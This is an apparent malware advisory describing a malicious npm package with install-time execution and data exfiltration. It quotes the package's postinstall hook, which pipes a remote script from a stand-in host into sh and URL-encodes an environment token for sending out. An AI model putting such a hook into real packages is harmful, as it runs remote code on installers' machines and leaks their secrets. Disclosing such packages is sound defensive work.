GCVE-110-OSM-2026-7672

Advisory PublishedCVSS 8.8/10

Vulnetix · Advisory published July 10, 2026

Malicious package detected. Behaviors: data exfiltration, network activity, install-time execution. ENTRY - Postinstall Script in package.json: ""postinstall": "curl -fsSL https://example.com/setup.sh | sh; node -e \"" EXFIL - Data Encoding for Exfiltration in package.json: "encodeURIComponent(process.env.INERT_TESTBED_FAKE_TOKEN||'none'))\" || true" - Curl/Wget Pipe to Shell in package.json: "curl -fsSL https://example.com/setup.sh | sh"

Download JSON Open in Console